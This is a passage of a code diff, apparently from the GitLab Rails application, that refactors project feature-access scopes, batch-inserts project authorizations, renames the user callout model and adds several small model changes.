+ validates :project_namespace, presence: true, on: :create, if: -> { self.namespace && self.root_namespace.project_namespace_creation_enabled? }
+ validates :project_namespace, presence: true, on: :update, if: -> { self.project_namespace_id_changed?(to: nil) }
validates :name, uniqueness: { scope: :namespace_id }
validates :import_url, public_url: { schemes: ->(project) { project.persisted? ? VALID_MIRROR_PROTOCOLS : VALID_IMPORT_PROTOCOLS },
ports: ->(project) { project.persisted? ? VALID_MIRROR_PORTS : VALID_IMPORT_PORTS },
@@ -575,18 +582,12 @@ class Project < ApplicationRecord
.where('rs.path LIKE ?', "#{sanitize_sql_like(path)}/%")
end
- # "enabled" here means "not disabled". It includes private features!
scope :with_feature_enabled, ->(feature) {
- access_level_attribute = ProjectFeature.arel_table[ProjectFeature.access_level_attribute(feature)]
- enabled_feature = access_level_attribute.gt(ProjectFeature::DISABLED).or(access_level_attribute.eq(nil))
-
- with_project_feature.where(enabled_feature)
+ with_project_feature.merge(ProjectFeature.with_feature_enabled(feature))
}
- # Picks a feature where the level is exactly that given.
scope :with_feature_access_level, ->(feature, level) {
- access_level_attribute = ProjectFeature.access_level_attribute(feature)
- with_project_feature.where(project_features: { access_level_attribute => level })
+ with_project_feature.merge(ProjectFeature.with_feature_access_level(feature, level))
}
# Picks projects which use the given programming language
@@ -687,37 +688,8 @@ class Project < ApplicationRecord
end
end
- # project features may be "disabled", "internal", "enabled" or "public". If "internal",
- # they are only available to team members. This scope returns projects where
- # the feature is either public, enabled, or internal with permission for the user.
- # Note: this scope doesn't enforce that the user has access to the projects, it just checks
- # that the user has access to the feature. It's important to use this scope with others
- # that checks project authorizations first (e.g. `filter_by_feature_visibility`).
- #
- # This method uses an optimised version of `with_feature_access_level` for
- # logged in users to more efficiently get private projects with the given
- # feature.
def self.with_feature_available_for_user(feature, user)
- visible = [ProjectFeature::ENABLED, ProjectFeature::PUBLIC]
-
- if user&.can_read_all_resources?
- with_feature_enabled(feature)
- elsif user
- min_access_level = ProjectFeature.required_minimum_access_level(feature)
- column = ProjectFeature.quoted_access_level_column(feature)
-
- with_project_feature
- .where("#{column} IS NULL OR #{column} IN (:public_visible) OR (#{column} = :private_visible AND EXISTS (:authorizations))",
- {
- public_visible: visible,
- private_visible: ProjectFeature::PRIVATE,
- authorizations: user.authorizations_for_projects(min_access_level: min_access_level)
- })
- else
- # This has to be added to include features whose value is nil in the db
- visible << nil
- with_feature_access_level(feature, visible)
- end
+ with_project_feature.merge(ProjectFeature.with_feature_available_for_user(feature, user))
end
def self.projects_user_can(projects, user, action)
@@ -1469,7 +1441,9 @@ class Project < ApplicationRecord
end
def disabled_integrations
- [:shimo]
+ disabled_integrations = []
+ disabled_integrations << 'shimo' unless Feature.enabled?(:shimo_integration, self)
+ disabled_integrations
end
def find_or_initialize_integration(name)
@@ -1600,6 +1574,12 @@ class Project < ApplicationRecord
oids(lfs_objects, oids: oids)
end
+ def lfs_objects_oids_from_fork_source(oids: [])
+ return [] unless forked?
+
+ oids(fork_source.lfs_objects, oids: oids)
+ end
+
def personal?
!group
end
@@ -2747,6 +2727,12 @@ class Project < ApplicationRecord
end
end
+ def remove_project_authorizations(user_ids, per_batch = 1000)
+ user_ids.each_slice(per_batch) do |user_ids_batch|
+ project_authorizations.where(user_id: user_ids_batch).delete_all
+ end
+ end
+
private
# overridden in EE
@@ -2957,6 +2943,13 @@ class Project < ApplicationRecord
project_namespace.shared_runners_enabled = shared_runners_enabled
project_namespace.visibility_level = visibility_level
end
+
+ # SyncEvents are created by PG triggers (with the function `insert_projects_sync_event`)
+ def schedule_sync_event_worker
+ run_after_commit do
+ Projects::SyncEvent.enqueue_worker
+ end
+ end
end
Project.prepend_mod_with('Project')
diff --git a/app/models/project_authorization.rb b/app/models/project_authorization.rb
index fed19a37a16..c76332b21cd 100644
--- a/app/models/project_authorization.rb
+++ b/app/models/project_authorization.rb
@@ -17,20 +17,6 @@ class ProjectAuthorization < ApplicationRecord
.group(:project_id)
end
- def self.insert_authorizations(rows, per_batch = 1000)
- rows.each_slice(per_batch) do |slice|
- tuples = slice.map do |tuple|
- tuple.map { |value| connection.quote(value) }
- end
-
- connection.execute <<-EOF.strip_heredoc
- INSERT INTO project_authorizations (user_id, project_id, access_level)
- VALUES #{tuples.map { |tuple| "(#{tuple.join(', ')})" }.join(', ')}
- ON CONFLICT DO NOTHING
- EOF
- end
- end
-
# This method overrides its ActiveRecord's version in order to work correctly
# with composite primary keys and fix the tests for Rails 6.1
#
@@ -39,6 +25,12 @@ class ProjectAuthorization < ApplicationRecord
def self.insert_all(attributes)
super(attributes, unique_by: connection.schema_cache.primary_keys(table_name))
end
+
+ def self.insert_all_in_batches(attributes, per_batch = 1000)
+ attributes.each_slice(per_batch) do |attributes_batch|
+ insert_all(attributes_batch)
+ end
+ end
end
ProjectAuthorization.prepend_mod_with('ProjectAuthorization')
diff --git a/app/models/project_feature.rb b/app/models/project_feature.rb
index 676c28d5e1b..0d3e50837ab 100644
--- a/app/models/project_feature.rb
+++ b/app/models/project_feature.rb
@@ -83,6 +83,52 @@ class ProjectFeature < ApplicationRecord
end
end
+ # "enabled" here means "not disabled". It includes private features!
+ scope :with_feature_enabled, ->(feature) {
+ feature_access_level_attribute = arel_table[access_level_attribute(feature)]
+ enabled_feature = feature_access_level_attribute.gt(DISABLED).or(feature_access_level_attribute.eq(nil))
+
+ where(enabled_feature)
+ }
+
+ # Picks a feature where the level is exactly that given.
+ scope :with_feature_access_level, ->(feature, level) {
+ feature_access_level_attribute = access_level_attribute(feature)
+ where(project_features: { feature_access_level_attribute => level })
+ }
+
+ # project features may be "disabled", "internal", "enabled" or "public". If "internal",
+ # they are only available to team members. This scope returns features where
+ # the feature is either public, enabled, or internal with permission for the user.
+ # Note: this scope doesn't enforce that the user has access to the projects, it just checks
+ # that the user has access to the feature. It's important to use this scope with others
+ # that checks project authorizations first (e.g. `filter_by_feature_visibility`).
+ #
+ # This method uses an optimised version of `with_feature_access_level` for
+ # logged in users to more efficiently get private projects with the given
+ # feature.
+ def self.with_feature_available_for_user(feature, user)
+ visible = [ENABLED, PUBLIC]
+
+ if user&.can_read_all_resources?
+ with_feature_enabled(feature)
+ elsif user
+ min_access_level = required_minimum_access_level(feature)
+ column = quoted_access_level_column(feature)
+
+ where("#{column} IS NULL OR #{column} IN (:public_visible) OR (#{column} = :private_visible AND EXISTS (:authorizations))",
+ {
+ public_visible: visible,
+ private_visible: PRIVATE,
+ authorizations: user.authorizations_for_projects(min_access_level: min_access_level, related_project_column: 'project_features.project_id')
+ })
+ else
+ # This has to be added to include features whose value is nil in the db
+ visible << nil
+ with_feature_access_level(feature, visible)
+ end
+ end
+
def public_pages?
return true unless Gitlab.config.pages.access_control
diff --git a/app/models/project_setting.rb b/app/models/project_setting.rb
index 6c8d2226bc9..fc834286876 100644
--- a/app/models/project_setting.rb
+++ b/app/models/project_setting.rb
@@ -13,6 +13,7 @@ class ProjectSetting < ApplicationRecord
self.primary_key = :project_id
validates :merge_commit_template, length: { maximum: 500 }
+ validates :squash_commit_template, length: { maximum: 500 }
def squash_enabled_by_default?
%w[always default_on].include?(squash_option)
diff --git a/app/models/projects/sync_event.rb b/app/models/projects/sync_event.rb
new file mode 100644
index 00000000000..5221b00c55f
--- /dev/null
+++ b/app/models/projects/sync_event.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+# This model serves to keep track of changes to the namespaces table in the main database as they relate to projects,
+# allowing to safely replicate changes to other databases.
+class Projects::SyncEvent < ApplicationRecord
+ self.table_name = 'projects_sync_events'
+
+ belongs_to :project
+
+ scope :preload_synced_relation, -> { preload(:project) }
+ scope :order_by_id_asc, -> { order(id: :asc) }
+
+ def self.enqueue_worker
+ ::Projects::ProcessSyncEventsWorker.perform_async # rubocop:disable CodeReuse/Worker
+ end
+end
diff --git a/app/models/repository.rb b/app/models/repository.rb
index 47482f04bca..645cc9773bd 100644
--- a/app/models/repository.rb
+++ b/app/models/repository.rb
@@ -519,6 +519,8 @@ class Repository
raw_repository.batch_blobs(items, blob_size_limit: blob_size_limit).map do |blob|
Blob.decorate(blob, container)
end
+ rescue Gitlab::Git::Repository::NoRepository
+ []
end
def root_ref
diff --git a/app/models/serverless/domain.rb b/app/models/serverless/domain.rb
index 2fef3b66b08..164f93afa9a 100644
--- a/app/models/serverless/domain.rb
+++ b/app/models/serverless/domain.rb
@@ -37,7 +37,7 @@ module Serverless
'a1',
serverless_domain_cluster.uuid[2..-3],
'f2',
- serverless_domain_cluster.uuid[-2..-1]
+ serverless_domain_cluster.uuid[-2..]
].join
end
end
diff --git a/app/models/snippet.rb b/app/models/snippet.rb
index dd76f2c3c84..6a8123b3c08 100644
--- a/app/models/snippet.rb
+++ b/app/models/snippet.rb
@@ -98,87 +98,115 @@ class Snippet < ApplicationRecord
mode: :per_attribute_iv,
algorithm: 'aes-256-cbc'
- def self.with_optional_visibility(value = nil)
- if value
- where(visibility_level: value)
- else
- all
+ class << self
+ # Searches for snippets with a matching title, description or file name.
+ #
+ # This method uses ILIKE on PostgreSQL.
+ #
+ # query - The search query as a String.
+ #
+ # Returns an ActiveRecord::Relation.
+ def search(query)
+ fuzzy_search(query, [:title, :description, :file_name])
end
- end
- def self.only_personal_snippets
- where(project_id: nil)
- end
+ def parent_class
+ ::Project
+ end
- def self.only_project_snippets
- where.not(project_id: nil)
- end
+ def sanitized_file_name(file_name)
+ file_name.gsub(/[^a-zA-Z0-9_\-\.]+/, '')
+ end
- def self.only_include_projects_visible_to(current_user = nil)
- levels = Gitlab::VisibilityLevel.levels_for_user(current_user)
+ def with_optional_visibility(value = nil)
+ if value
+ where(visibility_level: value)
+ else
+ all
+ end
+ end
- joins(:project).where(projects: { visibility_level: levels })
- end
+ def only_personal_snippets
+ where(project_id: nil)
+ end
- def self.only_include_projects_with_snippets_enabled(include_private: false)
- column = ProjectFeature.access_level_attribute(:snippets)
- levels = [ProjectFeature::ENABLED, ProjectFeature::PUBLIC]
+ def only_project_snippets
+ where.not(project_id: nil)
+ end
- levels << ProjectFeature::PRIVATE if include_private
+ def only_include_projects_visible_to(current_user = nil)
+ levels = Gitlab::VisibilityLevel.levels_for_user(current_user)
- joins(project: :project_feature)
- .where(project_features: { column => levels })
- end
+ joins(:project).where(projects: { visibility_level: levels })
+ end
- def self.only_include_authorized_projects(current_user)
- where(
- 'EXISTS (?)',
- ProjectAuthorization
- .select(1)
- .where('project_id = snippets.project_id')
- .where(user_id: current_user.id)
- )
- end
+ def only_include_projects_with_snippets_enabled(include_private: false)
+ column = ProjectFeature.access_level_attribute(:snippets)
+ levels = [ProjectFeature::ENABLED, ProjectFeature::PUBLIC]
- def self.for_project_with_user(project, user = nil)
- return none unless project.snippets_visible?(user)
+ levels << ProjectFeature::PRIVATE if include_private
- if user && project.team.member?(user)
- project.snippets
- else
- project.snippets.public_to_user(user)
+ joins(project: :project_feature)
+ .where(project_features: { column => levels })
end
- end
- def self.visible_to_or_authored_by(user)
- query = where(visibility_level: Gitlab::VisibilityLevel.levels_for_user(user))
- query.or(where(author_id: user.id))
- end
+ def only_include_authorized_projects(current_user)
+ where(
+ 'EXISTS (?)',
+ ProjectAuthorization
+ .select(1)
+ .where('project_id = snippets.project_id')
+ .where(user_id: current_user.id)
+ )
+ end
- def self.reference_prefix
- '$'
- end
+ def for_project_with_user(project, user = nil)
+ return none unless project.snippets_visible?(user)
+
+ if user && project.team.member?(user)
+ project.snippets
+ else
+ project.snippets.public_to_user(user)
+ end
+ end
- # Pattern used to extract `$123` snippet references from text
- #
- # This pattern supports cross-project references.
- def self.reference_pattern
- @reference_pattern ||= %r{
+ def visible_to_or_authored_by(user)
+ query = where(visibility_level: Gitlab::VisibilityLevel.levels_for_user(user))
+ query.or(where(author_id: user.id))
+ end
+
+ def reference_prefix
+ '$'
+ end
+
+ # Pattern used to extract `$123` snippet references from text
+ #
+ # This pattern supports cross-project references.
+ def reference_pattern
+ @reference_pattern ||= %r{
(#{Project.reference_pattern})?
#{Regexp.escape(reference_prefix)}(?<snippet>\d+)
}x
- end
+ end
- def self.link_reference_pattern
- @link_reference_pattern ||= super("snippets", /(?<snippet>\d+)/)
- end
+ def link_reference_pattern
+ @link_reference_pattern ||= super("snippets", /(?<snippet>\d+)/)
+ end
- def self.find_by_id_and_project(id:, project:)
- Snippet.find_by(id: id, project: project)
- end
+ def find_by_id_and_project(id:, project:)
+ Snippet.find_by(id: id, project: project)
+ end
+
+ def find_by_project_title_trunc_created_at(project, title, created_at)
+ where(project: project, title: title)
+ .find_by(
+ "date_trunc('second', created_at at time zone :tz) at time zone :tz = :created_at",
+ tz: created_at.zone, created_at: created_at)
+ end
- def self.max_file_limit
- MAX_FILE_COUNT
+ def max_file_limit
+ MAX_FILE_COUNT
+ end
end
def initialize(attributes = {})
@@ -230,10 +258,6 @@ class Snippet < ApplicationRecord
super.to_s
end
- def self.sanitized_file_name(file_name)
- file_name.gsub(/[^a-zA-Z0-9_\-\.]+/, '')
- end
-
def visibility_level_field
:visibility_level
end
@@ -371,23 +395,6 @@ class Snippet < ApplicationRecord
def multiple_files?
list_files.size > 1
end
-
- class << self
- # Searches for snippets with a matching title, description or file name.
- #
- # This method uses ILIKE on PostgreSQL.
- #
- # query - The search query as a String.
- #
- # Returns an ActiveRecord::Relation.
- def search(query)
- fuzzy_search(query, [:title, :description, :file_name])
- end
-
- def parent_class
- ::Project
- end
- end
end
Snippet.prepend_mod_with('Snippet')
diff --git a/app/models/system_note_metadata.rb b/app/models/system_note_metadata.rb
index 749b9dce97c..7b13109dbc4 100644
--- a/app/models/system_note_metadata.rb
+++ b/app/models/system_note_metadata.rb
@@ -24,6 +24,7 @@ class SystemNoteMetadata < ApplicationRecord
opened closed merged duplicate locked unlocked outdated reviewer
tag due_date pinned_embed cherry_pick health_status approved unapproved
status alert_issue_added relate unrelate new_alert_added severity
+ attention_requested attention_request_removed
].freeze
validates :note, presence: true, unless: :importing?
diff --git a/app/models/todo.rb b/app/models/todo.rb
index cfcb2201b80..dc436570f52 100644
--- a/app/models/todo.rb
+++ b/app/models/todo.rb
@@ -3,6 +3,7 @@
class Todo < ApplicationRecord
include Sortable
include FromUnion
+ include EachBatch
# Time to wait for todos being removed when not visible for user anymore.
# Prevents TODOs being removed by mistake, for example, removing access from a user
diff --git a/app/models/u2f_registration.rb b/app/models/u2f_registration.rb
index 65dc7a47533..7c01aa7a420 100644
--- a/app/models/u2f_registration.rb
+++ b/app/models/u2f_registration.rb
@@ -12,11 +12,7 @@ class U2fRegistration < ApplicationRecord
converter = Gitlab::Auth::U2fWebauthnConverter.new(self)
WebauthnRegistration.create!(converter.convert)
rescue StandardError => ex
- Gitlab::AppJsonLogger.error(
- event: 'u2f_migration',
- error: ex.class.name,
- backtrace: ::Gitlab::BacktraceCleaner.clean_backtrace(ex.backtrace),
- message: "U2F to WebAuthn conversion failed")
+ Gitlab::ErrorTracking.track_exception(ex, u2f_registration_id: self.id)
end
def update_webauthn_registration
diff --git a/app/models/user.rb b/app/models/user.rb
index 3ab5b7ee364..a39da30220a 100644
--- a/app/models/user.rb
+++ b/app/models/user.rb
@@ -27,6 +27,7 @@ class User < ApplicationRecord
include HasUserType
include Gitlab::Auth::Otp::Fortinet
include RestrictedSignup
+ include StripAttribute
DEFAULT_NOTIFICATION_LEVEL = :participating
@@ -112,10 +113,8 @@ class User < ApplicationRecord
#
# Namespace for personal projects
- # TODO: change to `:namespace, -> { where(type: Namespaces::UserNamespace.sti_name}, class_name: 'Namespaces::UserNamespace'...`
- # when working on issue https://gitlab.com/gitlab-org/gitlab/-/issues/341070
has_one :namespace,
- -> { where(type: [nil, Namespaces::UserNamespace.sti_name]) },
+ -> { where(type: Namespaces::UserNamespace.sti_name) },
dependent: :destroy, # rubocop:disable Cop/ActiveRecordDependent
foreign_key: :owner_id,
inverse_of: :owner,
@@ -189,8 +188,8 @@ class User < ApplicationRecord
has_one :abuse_report, dependent: :destroy, foreign_key: :user_id # rubocop:disable Cop/ActiveRecordDependent
has_many :reported_abuse_reports, dependent: :destroy, foreign_key: :reporter_id, class_name: "AbuseReport" # rubocop:disable Cop/ActiveRecordDependent
has_many :spam_logs, dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
- has_many :builds, dependent: :nullify, class_name: 'Ci::Build' # rubocop:disable Cop/ActiveRecordDependent
- has_many :pipelines, dependent: :nullify, class_name: 'Ci::Pipeline' # rubocop:disable Cop/ActiveRecordDependent
+ has_many :builds, class_name: 'Ci::Build'
+ has_many :pipelines, class_name: 'Ci::Pipeline'
has_many :todos
has_many :notification_settings
has_many :award_emoji, dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
@@ -206,7 +205,7 @@ class User < ApplicationRecord
has_many :bulk_imports
has_many :custom_attributes, class_name: 'UserCustomAttribute'
- has_many :callouts, class_name: 'UserCallout'
+ has_many :callouts, class_name: 'Users::Callout'
has_many :group_callouts, class_name: 'Users::GroupCallout'
has_many :term_agreements
belongs_to :accepted_term, class_name: 'ApplicationSetting::Term'
@@ -391,8 +390,10 @@ class User < ApplicationRecord
# this state transition object in order to do a rollback.
# For this reason the tradeoff is to disable this cop.
after_transition any => :blocked do |user|
- Ci::DropPipelineService.new.execute_async_for_all(user.pipelines, :user_blocked, user)
- Ci::DisableUserPipelineSchedulesService.new.execute(user)
+ user.run_after_commit do
+ Ci::DropPipelineService.new.execute_async_for_all(user.pipelines, :user_blocked, user)
+ Ci::DisableUserPipelineSchedulesService.new.execute(user)
+ end
end
after_transition any => :deactivated do |user|
@@ -466,6 +467,8 @@ class User < ApplicationRecord
scope :by_provider_and_extern_uid, ->(provider, extern_uid) { joins(:identities).merge(Identity.with_extern_uid(provider, extern_uid)) }
scope :get_ids_by_username, -> (username) { where(username: username).pluck(:id) }
+ strip_attributes! :name
+
def preferred_language
read_attribute('preferred_language') ||
I18n.default_locale.to_s.presence_in(Gitlab::I18n.available_locales) ||
@@ -844,10 +847,6 @@ class User < ApplicationRecord
# Instance methods
#
- def default_dashboard?
- dashboard == self.class.column_defaults['dashboard']
- end
-
def full_path
username
end
@@ -915,6 +914,8 @@ class User < ApplicationRecord
end
def two_factor_u2f_enabled?
+ return false if Feature.enabled?(:webauthn, default_enabled: :yaml)
+
if u2f_registrations.loaded?
u2f_registrations.any?
else
@@ -927,7 +928,7 @@ class User < ApplicationRecord
end
def two_factor_webauthn_enabled?
- return false unless Feature.enabled?(:webauthn)
+ return false unless Feature.enabled?(:webauthn, default_enabled: :yaml)
(webauthn_registrations.loaded? && webauthn_registrations.any?) || (!webauthn_registrations.loaded? && webauthn_registrations.exists?)
end
@@ -989,11 +990,7 @@ class User < ApplicationRecord
# Returns the groups a user is a member of, either directly or through a parent group
def membership_groups
- if Feature.enabled?(:linear_user_membership_groups, self, default_enabled: :yaml)
- groups.self_and_descendants
- else
- Gitlab::ObjectHierarchy.new(groups).base_and_descendants
- end
+ groups.self_and_descendants
end
# Returns a relation of groups the user has access to, including their parent
@@ -1615,7 +1612,7 @@ class User < ApplicationRecord
.select('ci_runners.*')
group_runners = Ci::RunnerNamespace
- .where(namespace_id: Gitlab::ObjectHierarchy.new(owned_groups).base_and_descendants.select(:id))
+ .where(namespace_id: owned_groups.self_and_descendant_ids)
.joins(:runner)
.select('ci_runners.*')
@@ -1796,7 +1793,7 @@ class User < ApplicationRecord
# we do this on read since migrating all existing users is not a feasible
# solution.
def feed_token
- Gitlab::CurrentSettings.disable_feed_token ? nil : ensure_feed_token!
+ ensure_feed_token! unless Gitlab::CurrentSettings.disable_feed_token
end
# Each existing user needs to have a `static_object_token`.
@@ -1806,6 +1803,14 @@ class User < ApplicationRecord
ensure_static_object_token!
end
+ def enabled_static_object_token
+ static_object_token if Gitlab::CurrentSettings.static_objects_external_storage_enabled?
+ end
+
+ def enabled_incoming_email_token
+ incoming_email_token if Gitlab::IncomingEmail.supports_issue_creation?
+ end
+
def sync_attribute?(attribute)
return true if ldap_user? && attribute == :email
@@ -1949,7 +1954,7 @@ class User < ApplicationRecord
end
def find_or_initialize_callout(feature_name)
- callouts.find_or_initialize_by(feature_name: ::UserCallout.feature_names[feature_name])
+ callouts.find_or_initialize_by(feature_name: ::Users::Callout.feature_names[feature_name])
end
def find_or_initialize_group_callout(feature_name, group_id)
@@ -2160,12 +2165,7 @@ class User < ApplicationRecord
project_creation_levels << nil
end
- if Feature.enabled?(:linear_user_groups_with_developer_maintainer_project_access, self, default_enabled: :yaml)
- developer_groups.self_and_descendants.where(project_creation_level: project_creation_levels)
- else
- developer_groups_hierarchy = ::Gitlab::ObjectHierarchy.new(developer_groups).base_and_descendants
- ::Group.where(id: developer_groups_hierarchy.select(:id), project_creation_level: project_creation_levels)
- end
+ developer_groups.self_and_descendants.where(project_creation_level: project_creation_levels)
end
def no_recent_activity?
diff --git a/app/models/user_callout.rb b/app/models/user_callout.rb
deleted file mode 100644
index b990aedd4f8..00000000000
--- a/app/models/user_callout.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-# frozen_string_literal: true
-
-class UserCallout < ApplicationRecord
- include Calloutable
-
- enum feature_name: {
- gke_cluster_integration: 1,
- gcp_signup_offer: 2,
- cluster_security_warning: 3,
- ultimate_trial: 4, # EE-only
- geo_enable_hashed_storage: 5, # EE-only
- geo_migrate_hashed_storage: 6, # EE-only
- canary_deployment: 7, # EE-only
- gold_trial_billings: 8, # EE-only
- suggest_popover_dismissed: 9,
- tabs_position_highlight: 10,
- threat_monitoring_info: 11, # EE-only
- two_factor_auth_recovery_settings_check: 12, # EE-only
- web_ide_alert_dismissed: 16, # no longer in use
- active_user_count_threshold: 18, # EE-only
- buy_pipeline_minutes_notification_dot: 19, # EE-only
- personal_access_token_expiry: 21, # EE-only
- suggest_pipeline: 22,
- customize_homepage: 23,
- feature_flags_new_version: 24,
- registration_enabled_callout: 25,
- new_user_signups_cap_reached: 26, # EE-only
- unfinished_tag_cleanup_callout: 27,
- eoa_bronze_plan_banner: 28, # EE-only
- pipeline_needs_banner: 29,
- pipeline_needs_hover_tip: 30,
- web_ide_ci_environments_guidance: 31,
- security_configuration_upgrade_banner: 32,
- cloud_licensing_subscription_activation_banner: 33, # EE-only
- trial_status_reminder_d14: 34, # EE-only
- trial_status_reminder_d3: 35, # EE-only
- security_configuration_devops_alert: 36, # EE-only
- profile_personal_access_token_expiry: 37, # EE-only
- terraform_notification_dismissed: 38,
- security_newsletter_callout: 39
- }
-
- validates :feature_name,
- presence: true,
- uniqueness: { scope: :user_id },
- inclusion: { in: UserCallout.feature_names.keys }
-end
diff --git a/app/models/user_detail.rb b/app/models/user_detail.rb
index 6b0ed89c683..3787ad1c380 100644
--- a/app/models/user_detail.rb
+++ b/app/models/user_detail.rb
@@ -2,9 +2,6 @@
class UserDetail < ApplicationRecord
extend ::Gitlab::Utils::Override
- include IgnorableColumns
-
- ignore_columns %i[bio_html cached_markdown_version], remove_with: '14.5', remove_after: '2021-10-22'
REGISTRATION_OBJECTIVE_PAIRS = { basics: 0, move_repository: 1, code_storage: 2, exploring: 3, ci: 4, other: 5, joining_team: 6 }.freeze
diff --git a/app/models/users/callout.rb b/app/models/users/callout.rb
new file mode 100644
index 00000000000..9ce0beed3b3
--- /dev/null
+++ b/app/models/users/callout.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+module Users
+ class Callout < ApplicationRecord
+ include Users::Calloutable
+
+ self.table_name = 'user_callouts'
+
+ enum feature_name: {
+ gke_cluster_integration: 1,
+ gcp_signup_offer: 2,
+ cluster_security_warning: 3,
+ ultimate_trial: 4, # EE-only
+ geo_enable_hashed_storage: 5, # EE-only
+ geo_migrate_hashed_storage: 6, # EE-only
+ canary_deployment: 7, # EE-only
+ gold_trial_billings: 8, # EE-only
+ suggest_popover_dismissed: 9,
+ tabs_position_highlight: 10,
+ threat_monitoring_info: 11, # EE-only
+ two_factor_auth_recovery_settings_check: 12, # EE-only
+ web_ide_alert_dismissed: 16, # no longer in use
+ active_user_count_threshold: 18, # EE-only
+ buy_pipeline_minutes_notification_dot: 19, # EE-only
+ personal_access_token_expiry: 21, # EE-only
+ suggest_pipeline: 22,
+ feature_flags_new_version: 24,
+ registration_enabled_callout: 25,
+ new_user_signups_cap_reached: 26, # EE-only
+ unfinished_tag_cleanup_callout: 27,
+ eoa_bronze_plan_banner: 28, # EE-only
+ pipeline_needs_banner: 29,
+ pipeline_needs_hover_tip: 30,
+ web_ide_ci_environments_guidance: 31,
+ security_configuration_upgrade_banner: 32,
+ cloud_licensing_subscription_activation_banner: 33, # EE-only
+ trial_status_reminder_d14: 34, # EE-only
+ trial_status_reminder_d3: 35, # EE-only
+ security_configuration_devops_alert: 36, # EE-only
+ profile_personal_access_token_expiry: 37, # EE-only
+ terraform_notification_dismissed: 38,
+ security_newsletter_callout: 39,
+ verification_reminder: 40 # EE-only
+ }
+
+ validates :feature_name,
+ presence: true,
+ uniqueness: { scope: :user_id },
+ inclusion: { in: Users::Callout.feature_names.keys }
+ end
+end
diff --git a/app/models/users/calloutable.rb b/app/models/users/calloutable.rb
new file mode 100644
index 00000000000..280a819e4d5
--- /dev/null
+++ b/app/models/users/calloutable.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Users
+ module Calloutable
+ extend ActiveSupport::Concern
+
+ included do
+ belongs_to :user
+
+ validates :user, presence: true
+ end
+
+ def dismissed_after?(dismissed_after)
+ dismissed_at > dismissed_after
+ end
+ end
+end
diff --git a/app/models/users/group_callout.rb b/app/models/users/group_callout.rb
index 540d1a1d242..da9b95fd718 100644
--- a/app/models/users/group_callout.rb
+++ b/app/models/users/group_callout.rb
@@ -2,7 +2,7 @@
module Users
class GroupCallout < ApplicationRecord
- include Calloutable
+ include Users::Calloutable
self.table_name = 'user_group_callouts'
diff --git a/app/models/wiki_page.rb b/app/models/wiki_page.rb
index 25438581f2f..3dbbbcdfe23 100644
--- a/app/models/wiki_page.rb
+++ b/app/models/wiki_page.rb
@@ -338,7 +338,7 @@ class WikiPage
current_dirname = File.dirname(title)
if persisted?
- return title[1..-1] if current_dirname == '/'
+ return title[1..] if current_dirname == '/'
return File.join([directory.presence, title].compact) if current_dirname == '.'
end
diff --git a/app/models/work_item/type.rb b/app/models/work_item/type.rb
index 7038beadd62..3acb9c0011c 100644
--- a/app/models/work_item/type.rb
+++ b/app/models/work_item/type.rb
@@ -15,7 +15,8 @@ class WorkItem::Type < ApplicationRecord
issue: { name: 'Issue', icon_name: 'issue-type-issue', enum_value: 0 },
incident: { name: 'Incident', icon_name: 'issue-type-incident', enum_value: 1 },
test_case: { name: 'Test Case', icon_name: 'issue-type-test-case', enum_value: 2 }, ## EE-only
- requirement: { name: 'Requirement', icon_name: 'issue-type-requirements', enum_value: 3 } ## EE-only
+ requirement: { name: 'Requirement', icon_name: 'issue-type-requirements', enum_value: 3 }, ## EE-only
+ task: { name: 'Task', icon_name: 'issue-type-task', enum_value: 4 }
}.freeze
cache_markdown_field :description, pipeline: :single_line
@@ -42,6 +43,10 @@ class WorkItem::Type < ApplicationRecord
default_by_type(:issue)
end
+ def self.allowed_types_for_issues
+ base_types.keys.excluding('task')
+ end
+
private
def strip_whitespace
diff --git a/app/models/x509_certificate.rb b/app/models/x509_certificate.rb
index 428fd336a32..2c1d0110b7c 100644
--- a/app/models/x509_certificate.rb
+++ b/app/models/x509_certificate.rb
@@ -13,7 +13,7 @@ class X509Certificate < ApplicationRecord
belongs_to :x509_issuer, class_name: 'X509Issuer', foreign_key: 'x509_issuer_id', optional: false
- has_many :x509_commit_signatures, inverse_of: 'x509_certificate'
+ has_many :x509_commit_signatures, class_name: 'CommitSignatures::X509CommitSignature', inverse_of: 'x509_certificate'
# rfc 5280 - 4.2.1.2 Subject Key Identifier
validates :subject_key_identifier, presence: true, format: { with: /\A(\h{2}:){19}\h{2}\z/ }
diff --git a/app/models/x509_commit_signature.rb b/app/models/x509_commit_signature.rb
deleted file mode 100644
index 57d809f7cfb..00000000000
--- a/app/models/x509_commit_signature.rb
+++ /dev/null
@@ -1,48 +0,0 @@
-# frozen_string_literal: true
-
-class X509CommitSignature < ApplicationRecord
- include ShaAttribute
-
- sha_attribute :commit_sha
-
- enum verification_status: {
- unverified: 0,
- verified: 1
- }
-
- belongs_to :project, class_name: 'Project', foreign_key: 'project_id', optional: false
- belongs_to :x509_certificate, class_name: 'X509Certificate', foreign_key: 'x509_certificate_id', optional: false
-
- validates :commit_sha, presence: true
- validates :project_id, presence: true
- validates :x509_certificate_id, presence: true
-
- scope :by_commit_sha, ->(shas) { where(commit_sha: shas) }
-
- def self.safe_create!(attributes)
- create_with(attributes)
- .safe_find_or_create_by!(commit_sha: attributes[:commit_sha])
- end
-
- # Find commits that are lacking a signature in the database at present
- def self.unsigned_commit_shas(commit_shas)
- return [] if commit_shas.empty?
-
- signed = by_commit_sha(commit_shas).pluck(:commit_sha)
- commit_shas - signed
- end
-
- def commit
- project.commit(commit_sha)
- end
-
- def x509_commit
- return unless commit
-
- Gitlab::X509::Commit.new(commit)
- end
-
- def user
- commit.committer
- end
-end
diff --git a/app/policies/clusters/agents/activity_event_policy.rb b/app/policies/clusters/agents/activity_event_policy.rb
new file mode 100644
index 00000000000..25fe1570b4b
--- /dev/null
+++ b/app/policies/clusters/agents/activity_event_policy.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module Clusters
+ module Agents
+ class ActivityEventPolicy < BasePolicy
+ alias_method :event, :subject
+
+ delegate { event.agent }
+ end
+ end
+end
diff --git a/app/policies/group_policy.rb b/app/policies/group_policy.rb
index 833d5b9bd34..5c4990ffd9b 100644
--- a/app/policies/group_policy.rb
+++ b/app/policies/group_policy.rb
@@ -1,6 +1,6 @@
# frozen_string_literal: true
-class GroupPolicy < BasePolicy
